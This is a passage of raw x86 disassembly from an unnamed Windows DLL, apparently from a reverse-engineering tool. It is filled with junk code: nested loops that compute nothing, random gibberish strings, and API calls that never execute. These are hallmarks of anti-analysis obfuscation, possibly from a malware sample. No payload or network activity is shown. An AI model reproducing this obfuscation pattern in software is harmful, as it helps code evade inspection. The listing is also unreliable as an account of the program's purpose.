or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xae4]
call fcn.1000c5b3
jmp 0x1002dde4
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x167]
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x114]
movzx ecx, byte [ebp + ecx - 0x16a]
movsx ecx, byte [ebp + ecx - 0x894]
add eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x167]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x114]
movzx edx, byte [ebp + edx - 0x16a]
movsx edx, byte [ebp + edx - 0x894]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x167]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x114]
movzx edx, byte [ebp + edx - 0x16a]
movsx edx, byte [ebp + edx - 0x894]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x168]
mov byte [ebp + ecx - 0x894], al
mov dword [ebp - 0x468], 0x3564
mov dword [ebp - 0x974], str.hoij_hoxp_oajx
cmp dword [ebp - 0x468], 0x37f1
jle 0x1002eaf2
and dword [ebp - 0x1e0], 0
jmp 0x1002ea5c
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x4461
jge 0x1002eaf2
and dword [ebp - 0x1e8], 0
jmp 0x1002ea82
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x4c85
jge 0x1002eaed
and dword [ebp - 0x1f0], 0
jmp 0x1002eaa4
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x4a74
jge 0x1002eaeb
mov eax, dword [ebp - 0x1e0]
cdq
idiv dword [ebp - 0x1e8]
imul edx, dword [ebp - 0x1f0]
mov eax, edx
cdq
mov dword [ebp - 0x994], eax
mov dword [ebp - 0x990], edx
push dword [ebp - 0x990]
push dword [ebp - 0x994]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002ea97
jmp 0x1002ea75
jmp 0x1002ea4f
push 2
lea ecx, [ebp - 0x3f0]
call fcn.1000c530
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0xae8], 0xffffffff
mov dword [ebp - 0x1f8], 0
jmp 0x1002eb30
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 2
jge 0x1002eb52
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0x3f0]
call fcn.1000c5cf
mov dword [eax], 0xea75c96
jmp 0x1002eb23
mov dword [ebp - 0x4c], 1
jmp 0x1002eb62
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x1002f1c1
mov dword [ebp - 0x40], 1
mov dword [ebp - 0xdc], 0x52e4a6b2
mov dword [ebp - 0x968], 0xd0519924
mov dword [ebp - 0x40], 1
jmp 0x1002eb97
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x1002f0ab
mov dword [ebp - 0xf8], 0x121ac488
mov dword [ebp - 0xf8], 1
jmp 0x1002ebc4
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jl 0x1002f0a6
mov dword [ebp - 0x72c], 0x7efb
mov dword [ebp - 0x950], str.rgt_tyaxgfcsx_ncqlvrm_wkp_uappugm_dhee_pfqg_imxnnaq
cmp dword [ebp - 0x72c], 0x81b6
jle 0x1002ec9d
and dword [ebp - 0x18c], 0
jmp 0x1002ec0b
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x15e
jge 0x1002ec9d
and dword [ebp - 0x200], 0
jmp 0x1002ec31
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x46a1
jge 0x1002ec98
and dword [ebp - 0x208], 0
jmp 0x1002ec53
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x4fb6
jge 0x1002ec96
mov eax, dword [ebp - 0x200]
xor eax, dword [ebp - 0x208]
or eax, dword [ebp - 0x18c]
cdq
mov dword [ebp - 0x9a0], eax
mov dword [ebp - 0x99c], edx
push dword [ebp - 0x99c]
push dword [ebp - 0x9a0]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002ec46
jmp 0x1002ec24
jmp 0x1002ebfe
mov dword [ebp - 0x8c], 0x831d26ec
cmp dword [ebp - 0x72c], 0x7c0d
jge 0x1002ecc3
mov edx, dword [ebp - 0x950]
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov dword [ebp - 0x62c], 0xb2e809b4
mov dword [ebp - 0x61c], 0x60ca
mov dword [ebp - 0xafc], str.tgv_oce_jeattw_nffegbp_xlk_uuaiqm_sgvryjph_dnflhj_lqwynfoj
cmp dword [ebp - 0x61c], 0x6331
jle 0x1002ed9a
and dword [ebp - 0x220], 0
jmp 0x1002ed07
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x952
jge 0x1002ed9a
and dword [ebp - 0x210], 0
jmp 0x1002ed2d
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x35d6
jge 0x1002ed95
and dword [ebp - 0x218], 0
jmp 0x1002ed4f
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x5c1e
jge 0x1002ed93
mov eax, dword [ebp - 0x210]
imul eax, dword [ebp - 0x218]
or eax, dword [ebp - 0x220]
cdq
mov dword [ebp - 0x9ac], eax
mov dword [ebp - 0x9a8], edx
push dword [ebp - 0x9a8]
push dword [ebp - 0x9ac]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002ed42
jmp 0x1002ed20
jmp 0x1002ecfa
cmp dword [ebp - 0x61c], 0x5f9c
jge 0x1002edb6
mov edx, dword [ebp - 0xafc]
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov dword [ebp - 0x8c], 0
jmp 0x1002edcf
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 1
jg 0x1002ef68
mov dword [ebp - 0x10c], 0x858f9c25
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x3f0]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1002ee01
jmp 0x1002ef68
mov dword [ebp - 0x10c], 0
jmp 0x1002ee1a
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 1
jg 0x1002ef63
mov dword [ebp - 0x814], 0xfd4
mov dword [ebp - 0xa88], str.vyn_fnp_mkw_yuh_ustywob_ouphpawn
cmp dword [ebp - 0x814], 0x1110
jle 0x1002ef2e
and dword [ebp - 0x228], 0
jmp 0x1002ee61
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x49de
jge 0x1002ef20
and dword [ebp - 0x230], 0
jmp 0x1002ee87
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x680d
jge 0x1002ef1b
and dword [ebp - 0x238], 0
jmp 0x1002eead
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x3539
jge 0x1002ef16
mov eax, dword [ebp - 0x228]
and eax, dword [ebp - 0x230]
and eax, dword [ebp - 0x238]
cdq
mov dword [ebp - 0x9b8], eax
mov dword [ebp - 0x9b4], edx
push dword [ebp - 0x9b4]
push dword [ebp - 0x9b8]
lea ecx, [ebp - 0xf7c]
call fcn.100019c5
pop ecx
pop ecx
mov dword [ebp - 0x95c], eax
mov ecx, dword [ebp - 0x95c]
call fcn.1000c2f8
push eax
call fcn.1004139c
pop ecx
lea ecx, [ebp - 0xf7c]
call fcn.1000c2ee
jmp 0x1002eea0
jmp 0x1002ee7a
jmp 0x1002ee54
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x3f0]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1002ef46
jmp 0x1002ef63
cmp dword [ebp - 0x814], 0xf06
jge 0x1002ef5e
push dword [ebp - 0xa88]
call fcn.1004139c
pop ecx
jmp 0x1002ee0d
jmp 0x1002edc2
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x8c], eax
jg 0x1002ef90
mov eax, dword [ebp - 0x62c]
cmp dword [ebp - 0x8c], eax
jl 0x1002ef90
mov dword [ebp - 0x624], 1
jmp 0x1002ef97
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x624], eax
jg 0x1002efae
mov dword [ebp - 0x734], 1
jmp 0x1002efb5
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x734]
lea eax, [ecx + eax + 1]
cmp eax, dword [ebp - 0x40]
jle 0x1002efd3
mov dword [ebp - 0x418], 1
jmp 0x1002efda
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x62c]
cmp dword [ebp - 0x418], eax
je 0x1002eff4
mov dword [ebp - 0x428], 1
jmp 0x1002effb
and dword [ebp - 0x428], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x3f0]
call fcn.1000c5cf
mov dword [ebp - 0x420], eax
push dword [ebp - 0x40]
lea ecx, [ebp - 0x3f0]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x420]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x420]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x428]
jge 0x1002f043
mov dword [ebp - 0x430], 1
jmp 0x1002f04a
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x430], eax
jg 0x1002f061
mov dword [ebp - 0x438], 1
jmp 0x1002f068
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x438], eax
jge 0x1002f082
mov dword [ebp - 0x440], 1
jmp 0x1002f089
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x8c], eax
jmp 0x1002ebb7
jmp 0x1002eb90
mov dword [ebp - 0xdc], 0
jmp 0x1002f0c4
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 1
jg 0x1002f1bc
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x3f0]
call fcn.1000c5cf
mov esi, eax
push 0
lea ecx, [ebp - 0x3f0]
call fcn.1000c5cf
mov ecx, dword [esi]
cmp ecx, dword [eax]
jge 0x1002f100
mov dword [ebp - 0x450], 1
jmp 0x1002f107
and dword [ebp - 0x450], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x3f0]
call fcn.1000c5cf
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x3f0]
call fcn.1000c5cf
cmp dword [eax], 0xb9d3
jge 0x1002f137
mov dword [ebp - 0x448], 1
jmp 0x1002f13e
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x448]
neg eax
je 0x1002f15d
mov eax, 0x64e4
test eax, eax
je 0x1002f15d
mov dword [ebp - 0x458], 1
jmp 0x1002f164
and dword [ebp - 0x458], 0
mov esi, dword [ebp - 0x450]
add esi, dword [ebp - 0x458]
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x3f0]
call fcn.1000c5cf
cmp esi, dword [eax]
jg 0x1002f186
cmp dword [ebp - 0x40], 0
mov dword [ebp - 0x40], 0xaf8ef5d3
mov eax, dword [ebp - 0x968]
cmp dword [ebp - 0x40], eax
jl 0x1002f1a4
mov dword [ebp - 0x460], 1
jmp 0x1002f1ab
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x460]
mov dword [ebp - 0xae8], eax
jmp 0x1002f0b7
jmp 0x1002eb5b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3f0]
call fcn.1000c5b3
cmp dword [ebp - 0x468], 0x33be
jge 0x1002f1ec
mov edx, dword [ebp - 0x974]
mov ecx, 0x1006cbb8
call fcn.1000e58f
and dword [ebp - 0x114], 0
jmp 0x1002dde4
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x124], 0x43657218
mov dword [ebp - 0xdd4], 0x732bc12a
mov dword [ebp - 0x34], 0
jmp 0x1002f223
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff6
jl 0x1002f334
mov byte [ebp - 0x9c], 0
movzx eax, byte [ebp - 0x9c]
test eax, eax
je 0x1002f24b
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CheckDlgButton]
mov dword [ebp - 0x470], 0x40bb
mov dword [ebp - 0x980], str.oed_vvkjn_lhtao_lhp_gytjyjr_qsxtgrqv_fuht_iuoakj_gylu_vbtgw_iwmelcrwb
cmp dword [ebp - 0x470], 0x4325
jle 0x1002f30f
and dword [ebp - 0x240], 0
jmp 0x1002f285
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x2456
jge 0x1002f30f
and dword [ebp - 0x248], 0
jmp 0x1002f2a7
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x18a9
jge 0x1002f30a
mov eax, dword [ebp - 0x240]
and eax, dword [ebp - 0x248]
cdq
mov dword [ebp - 0x9c4], eax
mov dword [ebp - 0x9c0], edx
push dword [ebp - 0x9c0]
push dword [ebp - 0x9c4]
lea ecx, [ebp - 0xebc]
call fcn.100019c5
pop ecx
pop ecx
mov dword [ebp - 0xa90], eax
mov ecx, dword [ebp - 0xa90]
call fcn.1000c2f8
push eax
call fcn.1004139c
pop ecx
lea ecx, [ebp - 0xebc]
call fcn.1000c2ee
jmp 0x1002f29a
jmp 0x1002f278
cmp dword [ebp - 0x34], 0
je 0x1002f317
jmp 0x1002f334
cmp dword [ebp - 0x470], 0x404f
jge 0x1002f32f
push dword [ebp - 0x980]
call fcn.1004139c
pop ecx
jmp 0x1002f21c
mov dword [ebp - 0x34], 0xffffffee
jmp 0x1002f344
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xb
jl 0x1002f735
mov dword [ebp - 0x70], 0xffffffff
push 2
lea ecx, [ebp - 0xb60]
call fcn.1000c530
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x998], 0x70783db4
mov dword [ebp - 0x250], 0
jmp 0x1002f393
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 2
jge 0x1002f3b5
push dword [ebp - 0x250]
lea ecx, [ebp - 0xb60]
call fcn.1000c5cf
mov dword [eax], 0xf0842170
jmp 0x1002f386
mov dword [ebp - 0x70], 0xfffffffb
jmp 0x1002f3c5
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x15
jg 0x1002f641
mov dword [ebp - 0x11c], 0xc0272a72
mov dword [ebp - 0x4b0], 0xffffffff
mov dword [ebp - 0x11c], 0xffffffff
jmp 0x1002f3fc
mov eax, dword [ebp - 0x11c]
dec eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xffffffeb
je 0x1002f624
mov dword [ebp - 0xe4], 0xbd2ab60e
mov dword [ebp - 0x98c], 0x73e
mov dword [ebp - 0xa98], 0x55752783
mov dword [ebp - 0xe4], 0xa
jmp 0x1002f440
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xe
jl 0x1002f61f
mov dword [ebp - 0x94], 1
mov dword [ebp - 0x94], 0
jmp 0x1002f470
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jg 0x1002f5de
mov dword [ebp - 0x480], 0xffffffff
mov eax, 0x919c44d4
sub eax, dword [ebp - 0x70]
cmp eax, 0x1d2a
jge 0x1002f49c
cmp dword [ebp - 0x34], 0
je 0x1002f4ad
xor eax, eax
inc eax
je 0x1002f4ad
mov dword [ebp - 0x478], 1
jmp 0x1002f4b4
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x478]
mov dword [ebp - 0x480], eax
cmp dword [ebp - 0x480], 0xb2c593c8
jbe 0x1002f4db
mov dword [ebp - 0x488], 1
jmp 0x1002f4e2
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x488], eax
je 0x1002f4fc
mov dword [ebp - 0xb10], 1
jmp 0x1002f503
and dword [ebp - 0xb10], 0
push dword [ebp - 0x94]
lea ecx, [ebp - 0xb60]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x70]
cmp dword [eax], ecx
jge 0x1002f527
mov dword [ebp - 0x490], 1
jmp 0x1002f52e
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x490]
neg eax
jne 0x1002f549
push dword [ebp - 0x94]
lea ecx, [ebp - 0xb60]
call fcn.1000c5cf
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x70], eax
jg 0x1002f569
mov dword [ebp - 0x498], 1
jmp 0x1002f570
and dword [ebp - 0x498], 0
cmp dword [ebp - 0x498], 1
jg 0x1002f585
mov dword [ebp - 0x4a0], 1
jmp 0x1002f58c
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x98c]
cmp dword [ebp - 0x4a0], eax
jge 0x1002f5af
cmp dword [ebp - 0x94], 0
je 0x1002f5af
mov dword [ebp - 0x4a8], 1
jmp 0x1002f5b6
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x4a8]
neg eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0xa98], eax
jmp 0x1002f463
mov dword [ebp - 0x48], 0xfffffffc
jmp 0x1002f5ee
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jne 0x1002f61a
mov byte [ebp - 0x9e], 0
movzx eax, byte [ebp - 0x9e]
test eax, eax
je 0x1002f618
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
jmp 0x1002f5e7
jmp 0x1002f433
jmp 0x1002f3ef
mov byte [ebp - 0xd2], 0
movzx eax, byte [ebp - 0xd2]
test eax, eax
je 0x1002f63c
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
jmp 0x1002f3be
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xd34], eax
mov eax, dword [ebp - 0x998]
cmp dword [ebp - 0x48], eax
jge 0x1002f667
cmp dword [ebp - 0x34], 0
je 0x1002f667
mov dword [ebp - 0x4b8], 1
jmp 0x1002f66e
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x4b8], eax
jge 0x1002f685
mov dword [ebp - 0x4c0], 1
jmp 0x1002f68c
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x124]
cmp eax, dword [ebp - 0x4c0]
jl 0x1002f6a6
mov dword [ebp - 0x4c8], 1
jmp 0x1002f6ad
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x4c8], eax
jne 0x1002f6c1
cmp dword [ebp - 0x124], 0
je 0x1002f6d6
mov eax, 0xcefc6e20
test eax, eax
je 0x1002f6d6
mov dword [ebp - 0x4d0], 1
jmp 0x1002f6dd
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4d0]
sub eax, 0x95b9
mov dword [ebp - 0x48], eax
imul eax, dword [ebp - 0x48], 0
test eax, eax
jne 0x1002f705
cmp dword [ebp - 0x124], 0
jne 0x1002f705
and dword [ebp - 0x4d8], 0
jmp 0x1002f70f
mov dword [ebp - 0x4d8], 1
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x4d8]
imul eax, eax, 0
mov dword [ebp - 0x124], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb60]
call fcn.1000c5b3
jmp 0x1002f33d
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x894], 0
push 2
lea ecx, [ebp - 0x828]
call fcn.1000c530
mov dword [ebp - 4], 0x17
push 3
lea ecx, [ebp - 0x400]
call fcn.1000c530
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x538], 0x684593f6
mov dword [ebp - 0x9b0], 0xfa870c38
push 1
lea ecx, [ebp - 0xd68]
call fcn.1000c530
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x28], 0
jmp 0x1002f79d
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x1002f7b6
push dword [ebp - 0x28]
lea ecx, [ebp - 0x828]
call fcn.1000c5cf
and dword [eax], 0
jmp 0x1002f796
mov dword [ebp - 0x28], 0
jmp 0x1002f7c6
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1002f7e2
push dword [ebp - 0x28]
lea ecx, [ebp - 0x400]
call fcn.1000c5cf
mov dword [eax], 0xc08901f2
jmp 0x1002f7bf
mov dword [ebp - 0x28], 0
jmp 0x1002f7f2
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jge 0x1002f80e
push dword [ebp - 0x28]
lea ecx, [ebp - 0xd68]
call fcn.1000c5cf
mov dword [eax], 0x1900312
jmp 0x1002f7eb
push 0
lea ecx, [ebp - 0x400]
call fcn.1000c5cf
mov dword [eax], 1
jmp 0x1002f847
push 0
lea ecx, [ebp - 0x400]
call fcn.1000c5cf
mov dword [ebp - 0x4e0], eax
mov eax, dword [ebp - 0x4e0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x4e0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x400]
call fcn.1000c5cf
cmp dword [eax], 0
jl 0x1002fc0c
mov dword [ebp - 0x78], 0xd3f46721
mov dword [ebp - 0xaa0], 0x5fc0
mov dword [ebp - 0x4e8], 0x27f8
mov dword [ebp - 0xaf8], str.lti_prgvjjq_jbbyx_jyimpt_vahxsvgos_jfas_ycgvg_drehsipb
cmp dword [ebp - 0x4e8], 0x2a03
jle 0x1002f905
and dword [ebp - 0x258], 0
jmp 0x1002f8a4
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0x43ee
jge 0x1002f905
and dword [ebp - 0x260], 0
jmp 0x1002f8c6
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0x285f
jge 0x1002f903
mov eax, dword [ebp - 0x258]
and eax, dword [ebp - 0x260]
cdq
mov dword [ebp - 0x9d0], eax
mov dword [ebp - 0x9cc], edx
push dword [ebp - 0x9cc]
push dword [ebp - 0x9d0]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1002f8b9
jmp 0x1002f897
mov dword [ebp - 0x268], 0
jmp 0x1002f91e
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 3
jge 0x1002f93a
mov eax, dword [ebp - 0x268]
mov dword [ebp + eax*4 - 0xe0c], 0xfffffff8
jmp 0x1002f911
cmp dword [ebp - 0x4e8], 0x2511
jge 0x1002f956
mov edx, dword [ebp - 0xaf8]
mov ecx, 0x1006cbb8
call fcn.1000e58f
push 0
lea ecx, [ebp - 0x400]
call fcn.1000c5cf
push dword [eax]
lea ecx, [ebp - 0x828]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1002f97a
jmp 0x1002fc0c
mov dword [ebp - 0x78], 1
jmp 0x1002f98a
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jl 0x1002fc07
mov dword [ebp - 0x384], 0xfffe
mov dword [ebp - 0x270], 0
jmp 0x1002f9b7
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 2
jge 0x1002f9d3
mov eax, dword [ebp - 0x270]
mov dword [ebp + eax*4 - 0x9dc], 0x93876a47
jmp 0x1002f9aa
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xd98], eax
cmp dword [ebp - 0x78], 0
jne 0x1002fb8c
push 0
lea ecx, [ebp - 0x400]
call fcn.1000c5cf
cmp dword [eax], 0
jne 0x1002fac1
push 2
lea ecx, [ebp - 0x400]
call fcn.1000c5cf
push 0
lea ecx, [ebp - 0x400]
call fcn.1000c5cf
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0x9a4], eax
mov eax, dword [ebp - 0x384]
dec eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x9a4], 0xfffffffc
je 0x1002fa44
mov dword [ebp - 0x4f0], 1
jmp 0x1002fa4b
and dword [ebp - 0x4f0], 0
push dword [ebp - 0x78]
lea ecx, [ebp - 0x828]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x4f0]
imul ecx, dword [eax]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x9dc]
jge 0x1002fa7d
mov dword [ebp - 0x4f8], 1
jmp 0x1002fa84
and dword [ebp - 0x4f8], 0
cmp dword [ebp - 0x4f8], 6
jae 0x1002fa99
mov dword [ebp - 0x500], 1
jmp 0x1002faa0
and dword [ebp - 0x500], 0
push dword [ebp - 0x78]
lea ecx, [ebp - 0x828]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x500]
add ecx, dword [eax]
jne 0x1002fac1
and dword [ebp - 0x508], 0
jmp 0x1002facb
mov dword [ebp - 0x508], 1
push 4
pop eax
shl eax, 0
mov esi, dword [ebp - 0x508]
sub esi, dword [ebp + eax - 0xe0c]
push 0
lea ecx, [ebp - 0x400]
call fcn.1000c5cf
cmp esi, dword [eax]
jg 0x1002fafb
mov dword [ebp - 0x510], 1
jmp 0x1002fb02
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0xaa0]
cmp dword [ebp - 0x510], eax
jle 0x1002fb1c
mov dword [ebp - 0x518], 1
jmp 0x1002fb23
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x518]
jg 0x1002fb49
push 0
lea ecx, [ebp - 0x828]
call fcn.1000c5cf
cmp dword [eax], 0
jne 0x1002fb49
and dword [ebp - 0x38c], 0
jmp 0x1002fb53
mov dword [ebp - 0x38c], 1
push 0
lea ecx, [ebp - 0x400]
call fcn.1000c5cf
push dword [eax]
lea ecx, [ebp - 0x828]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x38c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38c]
sub eax, dword [ebp - 0x538]
jne 0x1002fb8c
and dword [ebp - 0x520], 0
jmp 0x1002fb96
mov dword [ebp - 0x520], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9dc]
cmp dword [ebp - 0x520], eax
jne 0x1002fbb7
mov dword [ebp - 0x528], 1
jmp 0x1002fbbe
and dword [ebp - 0x528], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9dc]
imul eax, dword [ebp - 0x528]
cmp eax, 0xe5708880
jae 0x1002fbe5
mov dword [ebp - 0x530], 1
jmp 0x1002fbec
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x530]
mov dword [ebp - 0x538], eax
mov dword [ebp - 0x9b0], 1
jmp 0x1002f983
jmp 0x1002f823
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xd68]
call fcn.1000c5b3
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x400]
call fcn.1000c5b3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x828]
call fcn.1000c5b3
lea eax, [ebp - 0x894]
push eax
lea ecx, [ebp - 0xe4c]
call fcn.10034f26
mov dword [ebp - 4], 0x1a
or dword [ebp - 0xc00], 0xffffffff
or dword [ebp - 0xbfc], 0xffffffff
or dword [ebp - 0xbf8], 0xffffffff
or dword [ebp - 0xbf4], 0xffffffff
lea ecx, [ebp - 0x406]
call fcn.1000c5de
push eax
lea eax, [ebp - 0xbf0]
push eax
lea eax, [ebp - 0xc00]
push eax
lea ecx, [ebp - 0xe1c]
call fcn.1000c5e1
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x86c]
call fcn.1000c58d
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0xd0], 0xc4d8e5c
mov dword [ebp - 0xc70], 0xdcc590f0
mov dword [ebp - 0xc6c], 0xdcc590f0
